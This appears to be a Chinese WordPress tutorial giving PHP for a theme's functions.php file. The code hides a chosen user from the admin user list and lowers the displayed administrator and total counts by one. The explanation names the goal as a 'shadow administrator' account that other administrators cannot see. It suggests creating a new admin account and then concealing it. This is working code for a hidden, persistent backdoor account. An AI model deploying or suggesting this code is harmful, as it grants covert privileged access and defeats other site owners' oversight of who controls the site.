您可以将以下代码复制粘贴放入网站主题的function.php文件代码中实现:
/*隐藏后台用户列表中指定的用户名*/ add_action('pre_user_query','wp_pre_user_query'); function wp_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'your username') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'your username'",$user_search->query_where); } } /*后台用户中管理员数目-1显示*/ add_filter("views_users", "wp_list_table_views"); function wp_list_table_views($views){ $users = count_users(); $admins_num = $users['avail_roles']['administrator'] - 1; $all_num = $users['total_users'] - 1; $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current"; $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current"; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')'; $views['all'] = '' . __('All') . ' (' . $all_num . ')'; return $views; }
代码说明:
1.上代码分为两段,第1段是隐藏您指定的用户名;第2段是将后台用户列表的管理员数量减1后显示;
2.代码1中your username替换成您需要隐藏的用户名即可;
3.如要隐藏一个管理员账号,如影子管理员'admin2',则代码1两处'your username'为'admin2';
4.代码放入后即可生效,此时登录'admin2'影子账号查看后台用户列表,还可以看到自己的用户名,但是使用其他管理员账号登录后台的时候,比如'admin'登录是无法在后台看到被隐藏的影子管理员'admin2'的。
5.代码可以用来在后台设置新增管理员权限的账号后,再把此账号隐藏起来。